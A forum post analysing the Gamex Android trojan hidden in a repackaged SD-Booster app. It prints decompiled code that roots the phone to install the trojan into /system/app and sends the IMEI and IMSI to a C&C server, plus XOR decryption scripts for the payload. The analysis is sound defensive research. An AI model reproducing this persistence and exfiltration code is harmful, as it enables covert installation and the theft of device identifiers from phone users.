吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 85612|回复: 89
收起左侧

[转载] Android 木马远控1.3(完整免杀进程植入版)木马分析报告

  [复制链接]
xkh5823 发表于 2015-7-22 20:18
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 xkh5823 于 2016-2-20 20:26 编辑

5月刚开始就弄到了这个Gamex木马样本,该样本破坏性不大,不过对于安全分析人员来说,这可是很好的研究素材,今天我就将这个样本的完整分析过程拿来与大家分享。
工具
ApkTooldex2jarDJ Java Decompiler分析必备
python2.6编写解密脚本
分析
这个样本通过捆绑软件SD-Booster来达到感染的目的,在安装运行被感染的SD-Booster时,木马就会自动安装进Android系统,为了尽快找到感染部分,下载未感染的SD-Booster进行反编译对比,结果如图 1所示:
图片1.jpg
图 1
程序被植入了“com.android.md5”与“com.gamex.inset”两个包,首先找到植入程序的加载处,在SDBoost类的onCreate()方法中插入了如下代码:
[Python] 纯文本查看 复制代码
public void onCreate(Bundle paramBundle) {
    super.onCreate(paramBundle);
    A.b(this);
    …
}
A“com.gamex.inset”包中的类,A.b()方法代码如下:
[Python] 纯文本查看 复制代码
public static void b(Context paramContext)
  {
    context = paramContext;
    Intent localIntent = new Intent(paramContext, Settings.class);
    ComponentName localComponentName = paramContext.startService(localIntent);
  }
直接启动的是Settings.class服务,这个服务很简单,启动代码是这样的:
[Python] 纯文本查看 复制代码
public void onStart(Intent paramIntent, int paramInt)
  {
    super.onStart(paramIntent, paramInt);
    new Settings.1(this).start();
  }

class Settings$1 extends Thread
{
  public void run()
  {
    if ((!A.a) && (A.c()) && (A.d(A.context)))
    {
      A.a = 1;
      Settings localSettings = this.this$0;
      new C(localSettings).start();
    }
    while (true)
    {
      return;
      this.this$0.stopSelf();
    }
  }
}
A.a初始化为0,用来判断木马是否已经运行,A.c()只有一行代码判断SD卡是否已经准备好,为后面的病毒下载做准备,A.d()判断木马程序“com.android.setting”是否已经安装,如果没有安装且满足上面的条件就启动C线程来安装木马,C类的run()方法在Dex2jar中显示不了,在DJ Java Decompiler中可以看到完整的反编译的代码,线程通过context.getAssets().open("logos.png")读取木马文件,然后通过解密运算得到最终的apk安装文件,解密代码我用python实现如下:
[Python] 纯文本查看 复制代码
# -*- coding:utf-8 -*-
import sys

def main(filename):
    infile = file(filename,"rb")
    outfile = file(filename[:-4]+".apk","wb")
    while 1:
        c = infile.read(1)
        if not c:
            break
        c = chr(ord(c) ^ 18)
        outfile.write(c)
    outfile.close()
    infile.close()
if __name__ == '__main__':   
main(sys.argv[1])
解密只是将整个文件与0x12异或而以,运行“python decrypt_apk.py logos.png”就会生成logos.apk木马文件。在上一步的解密完成后,调用了a(String)方法来安装木马,代码如下:
[mw_shl_code=python,true]protected static void a(String paramString)
  {
    try
    {
      Process localProcess = Runtime.getRuntime().exec("su");
      OutputStream localOutputStream = localProcess.getOutputStream();
      DataOutputStream localDataOutputStream = new DataOutputStream(localOutputStream);
      localDataOutputStream.writeBytes("mount -o remount rw /system \n");
      String str = "cp -i " + paramString + " /system/app/ComAndroidSetting.apk\n";
      localDataOutputStream.writeBytes(str);
      Thread.sleep(20000L);
      localDataOutputStream.writeBytes("chmod 644 /system/app/ComAndroidSetting.apk\n");
      localDataOutputStream.writeBytes("exit\n");
      localDataOutputStream.flush();
      int i = localProcess.waitFor();
      return;
    }
    catch (IOException localIOException)
    {
      while (true)
        localIOException.printStackTrace();
    }
    catch (InterruptedException localInterruptedException)
    {
      while (true)
        localInterruptedException.printStackTrace();
    }
  }
邪恶的代码将整个程序复制到了“/system/app/”目录下,使其成为系统程序!在安装完成后运行如下代码来发送广播与停止Settings服务:
        ntent intent = new Intent("kurhjfngjhfjghdfjgjjdh");
        context.sendBroadcast(intent);
        Intent intent1 = new Intent(context, com/android/md5/Settings);
        boolean flag3 = context1.stopService(intent1);
[/mw_shl_code]
这个奇怪字符串的广播是用来被木马接收的,到这里捆绑部分的工作做完了,下面是木马真身上场了,将刚才解密出的logos.apk解包,使用dex2jar该干啥干啥后,查看“AndroidManifest.xml”文件发现木马没有界面,并且通过两个开机广播来运行的,如图2所示:
图片1.jpg
图 2
这也验证了SDBoost发送奇怪字符串广播的分析,看第一个广播接收者代码如下:
[Python] 纯文本查看 复制代码
public class B extends BroadcastReceiver
{
  public static final String q = "android.intent.action.BOOT_COMPLETED";
  public static final String qx = "kurhjfngjhfjghdfjgjjdh";
  public void onReceive(Context paramContext, Intent paramIntent)
  {
    if ((paramIntent.getAction().equals("android.intent.action.BOOT_COMPLETED")) || (paramIntent.getAction().equals("kurhjfngjhfjghdfjgjjdh")))
      A.b(paramContext);
  }
}
这个A.b()方法启动了Settings.class服务,这个服务里面启动了一个线程,可以找到前面分析线程的类似框架代码如下:
public void run()
  {
    try
    {
      this.this$0.d();
      sleep(30000L);
      if ((!A.a) && (A.c()) && (A.d(this.this$0)))
      {
        A.a = 1;
        Settings localSettings1 = this.this$0;
        new E(localSettings1).start();
        return;
      }
    }
    catch (InterruptedException localInterruptedException)
    {
      …
    }
  }
d()负责解码C&C(Control & Command)服务器地址并发送手机的隐私信息,解码代码为Settings的getUrl()方法,使用python解码实现为:
# -*- coding:utf-8 -*-
import sys
def decrypt2url(decryptedfile):
    f = file(decryptedfile,"r")
    buf = f.read()
    bs = map(ord, buf) #将字节流存储为10进制的list
    sizz = len(bs)
    for i in range(0, sizz, 2):  #后面的字与前面的字交换存储
        if i >= sizz / 2 : break
        d = bs
        bs = bs[sizz - 1 - i]
        bs[sizz - 1 - i] = d
    ss = ''.join(map(chr,bs))
    bs2 = ss.split(',') #用逗号分隔开
    bss = list(bs2)
    sout = ''
    for i in range(0, len(bss), 2):
        sout = sout + chr(int(bss))
    print sout
   
def main(filename):
    PASS = ''.join(chr(x) for x in [9, 5, 9, 8, 5]) #这个是解密的原子
    infile = file(filename,"rb")
    outfile = file(filename[:-4]+".txt","wb")
    i = 0
    while 1:
        c = infile.read(1)
        if not c:
            break
        j = i % 5
        d = PASS[j]
        c = chr(ord(c) ^ ord(d))
        i = i + 1
        outfile.write(c)
    outfile.close()
    infile.close()
    decrypt2url(filename[:-4]+".txt")
   
if __name__ == '__main__':   
    main(sys.argv[1])
这段解密脚本首先将“logo.png”文件的每个字节与[9, 5, 9, 8, 5]解密原子进行异或,解出来后的内容如图3所示:
图片2.jpg

图 3
得到这个字符串后,将字符串首尾倒序排列一次,排列完毕后的每一个逗号分隔的数字为一个字母的ASCII码,然后取这些ASCII的偶数位得到最终的URL地址,另外,为了照顾使用JAVA的同学,解密代码我也用JAVA实现了一份,在附件中一起打包了,解密出的结果如图4所示:
图片3.jpg

图 4
这个网址直接访问是提示禁止的,在d()方法中,将getDeviceId()getSubscriberId()Build.MODELgetApplicationInfo(str3, 128).metaData.getString("CMP_PID")的结果与其它字符组合得到最终的网址为“http://www.fineandroid.com/inputex/index.php?s=/Interface/keinter/a1/DeviceId/a2/SubscriberId/a3/MODEL/index/xian1234”,最后调用b(String)方法启动一个线程将信息发送出去,代码如下:
[Python] 纯文本查看 复制代码
public void run()
  {
    …
    HttpGet localHttpGet = new HttpGet(str);
    try
    {
      HttpResponse localHttpResponse = new DefaultHttpClient().execute(localHttpGet);
      if ((localHttpResponse.getStatusLine().getStatusCode() == 200) && (EntityUtils.toString(localHttpResponse.getEntity()).equals("1")))
      {
        SharedPreferences.Editor localEditor1 = this.this$0.getSharedPreferences("tijiao", 0).edit();
        SharedPreferences.Editor localEditor2 = localEditor1.putInt("biaoji", 1);
        boolean bool = localEditor1.commit();
      }
      return;
    }
    catch (ClientProtocolException localClientProtocolException)
    {
      …
    }
     …
  }
如果提交成功就保存到SharedPerferences中,我们构造字符串手动访问如图5所示:
图片4.jpg

图 5
继续回到刚才Settings.1线程,在做完这些工作后,又开始判断了,A.a判断木马是否已经运行,A.c()判断SD卡是否已经准备到位,A.d(Context)判断是否有安装“com.android.update”木马程序,如果没有安装且上面的条件满足,就开启一个E线程做工作,E线程启动就注册了两只广播接收者“android.intent.action.PACKAGE_ADDED”与“android.intent.action.PACKAGE_CHANGED”,广播接收为收到“Intent("akjgikurhnfjghfkj")”广播后就启动Settings.class服务,在完成这一步后,线程运行,解码出“com.android.update”木马程序,方法与上面“com.android.setting”代码是一样的,可以用前面的“decrypt_apk.py”脚本解密得出木马APK文件,解出来后调用a()方法来安装“com.android.update”木马。到这里,由B类开机广播接收者引发的木马安装与信息发送到这里就完了,看看另一个D类的开机广播接收者的代码,它的代码很简单,收到广播后,获取木马的包名,然后在a()方法中调用“pm install -r”来重新安装木马,这个“com.android.setting”木马就分析到这里,下面看看“com.android.update”。这也是Gamex木马的最核心部分,
这个“com.android.update”木马核心的启动由开机广播完成的,如图6所示:
图片5.jpg

图 6
广播接收者的代码如下:
[Python] 纯文本查看 复制代码
public class B extends BroadcastReceiver
{
  public static final String a = "akjgikurhnfjghfkj";
  public static final String q = "android.intent.action.BOOT_COMPLETED";
  public void onReceive(Context paramContext, Intent paramIntent)
  {
    if ((paramIntent.getAction().equals("android.intent.action.BOOT_COMPLETED")) || (paramIntent.getAction().equals("akjgikurhnfjghfkj")))
      A.boot(paramContext);
  }
}
在收到广播后,调用A类boot()方法启动了Updater.class服务,这个服务生了四个类来完成所有的木马工作,代码为:
public void onStart(Intent paramIntent, int paramInt)
  {
    super.onStart(paramIntent, paramInt);
    D localD = new D(this);
    this.activityThread = localD;
    F localF = new F(this);
    this.getSoftThread = localF;
    G localG = new G(this);
    this.downSoftThread = localG;
    H localH = new H(this);
    this.installSoftThread = localH;
  }
四个对象分工明确,我们慢慢来分析,第一个对象D为“卫兵”对象,负责“通风报信”的工作,在对象构造时注册了广播接收者D.1分别监听“"android.intent.action.SCREEN_OFF”与“android.intent.action.SCREEN_ON”,当后者被触发时就启动HOME进行来隐藏自己,前者被触发时就默默的收集用户安装的软件信息,步骤为D.1首先调用D对象M成员的d()方法来查询已经安装而没有运行的木马软件,M成员为D对象中的数据库查询操作对象,在D对象初始化的时候创建,接着调用D.f()方法获取正在运行的软件,并与M.d()方法返回的列表进行比较,如果找到未运行的程序,localPackageManager.getLaunchIntentForPackage(String)来获取Activity名称,并调用paramContext.startActivity(localIntent1)启动该程序,再调用M.j(String)方法来更新软件运行状态数据库,最后调用D.n(String)方法往C&C服务器发送信息,代码如下:
[Python] 纯文本查看 复制代码
public void n(String paramString)
  {
    String str1 = ((TelephonyManager)this.g.getSystemService("phone")).getDeviceId(); //获取IMEI
    if (str1 == null)
      str1 = "";
    String str2 = String.valueOf(j());
    String str3 = String.valueOf(str2 + "inputex/index.php?s=/Interface/neiinter/a1/");
    String str4 = str3 + str1 + "/nam/" + paramString;
    j(str4);
  }
j()方法用来解密Assets目录下的"icon.png"文件来获取C&C地址,依旧可以使用decrypt_url.py来解密,解密后的地址仍然是“http://www.fineandroid.com/”,组合生成URL后调用j(String)发送出去,方法与“com.android.android”是一样的,到这里,D对象就算了解了,下一个是F对象。F对象也很简单,它读取木马服务器上的木马列表,并将列表写入本地数据库中供木马查询,F.k()解得地址为“http://fineandroid.com/InstallApk/php4sam.php”,直接访问如图7所示: 图片6.jpg

图 7
这个木马作者是中国人,有没有?整个html内容的解读是由J.a(InputStream)完成的,这里限于篇幅就不帖出来了,最后得到的List数据是通过M.g(String,)插入数据库的,在保存前调用了F.e(String)进行了简单的加密,我就不分析了,看看第三个G类,它负责木马的下载工作,核心的方法为loop(),首先调用M.C()检查没有下载的木马软件,如果有软件没有下载,就检查是否在WIFI环境下,如果条件都满足就new了一个P对象,后者调用K.d(String,)开始下载,下载完成后调用M.h()设置木马的下载状态,这些工作都做完后让线程进入睡眠状态,WIFI状态下休息1分钟,非WIFI状态下休息5个小时。相应的代码如下:
[Python] 纯文本查看 复制代码
protected void loop()
  {
    NetworkInfo localNetworkInfo = ((ConnectivityManager)this.e.getSystemService("connectivity")).getActiveNetworkInfo();
    List localList;
    if ((localNetworkInfo != null) && (localNetworkInfo.isAvailable()) && (!this.d))
    {
      localList = this.h.c();
      if (localList.size() == 0)
        setSleepTime(60000L);  //如果没有软件要下载,就休息1分钟
    }
    while (true)
    {
      return;
      if (localNetworkInfo.getTypeName().equals("WIFI")) //是否在WIFI网络状态下
      {
        localIterator = localList.iterator();
        if (!localIterator.hasNext())
          continue;
        …
        Handler localHandler1 = this.f;
        new P(localContext1, str1, str2, "download/", str3, localHandler1).start(); //开始下载
        this.d = 1;
        setSleepTime(60000L);  //下载完就休息1分钟
        continue;
      }
      …
      new P(localContext2, str4, str5, "download/", str6, localHandler2).start();//开始下载
      this.d = 1;
      setSleepTime(18000000L); //休息5小时
      …
    }
  }
最后的H类是安装类,它没有做实质性的工作,只是隔一段时间发一生广播并更新一下已下载的木马软件状态到数据库中。到这里,整个Gamex木马就分析完了。
总结
通过对Gamex木马的分析,我们看到其中用到了代码捆绑、软件静默安装、URL提交与响应、开机广播,文件加解密等大量的代码,这些代码在Android程序员日常编码过程中是常见的,只有掌握好Android基础,把握程序的分析思路才能将Android木马看的通透。最后补上一张Gamex的流程图,方便大家理解
QQ截图20150722195149.jpg



图片7.jpg

新建文本文档.txt

48 Bytes, 下载次数: 300, 下载积分: 吾爱币 -1 CB

免费评分

参与人数 4热心值 +4 收起 理由
mlwy + 1 谢谢@Thanks!
Kirito0 + 1 谢谢@Thanks!
小三胖 + 1 用心讨论,共获提升!
东京喰种 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| xkh5823 发表于 2015-7-22 20:35
zcmrp 发表于 2015-7-22 20:30
很高级的样子,可惜不会

可以慢慢学啊,不是很难的!
huanyu6699 发表于 2015-7-22 20:30
Jayce 发表于 2015-7-22 20:25
冷小夜 发表于 2015-7-22 20:28
文章真够长的,一看94技术手
zcmrp 发表于 2015-7-22 20:30
很高级的样子,可惜不会
Teemo 发表于 2015-7-22 20:30
技术帖啊,满满的膜拜
 楼主| xkh5823 发表于 2015-7-22 20:32
huanyu6699 发表于 2015-7-22 20:30
有没有后门的木马软件?

没有的,附件里面有源码和样本
 楼主| xkh5823 发表于 2015-7-22 20:34
Teemo 发表于 2015-7-22 20:30
技术帖啊,满满的膜拜

呵,谢谢,我也是新手哈,连帖子都发不好,惭愧啊
 楼主| xkh5823 发表于 2015-7-22 20:36
冷小夜 发表于 2015-7-22 20:28
文章真够长的,一看94技术手

图片陪不进去,不然就不是这样了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-25 16:44

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表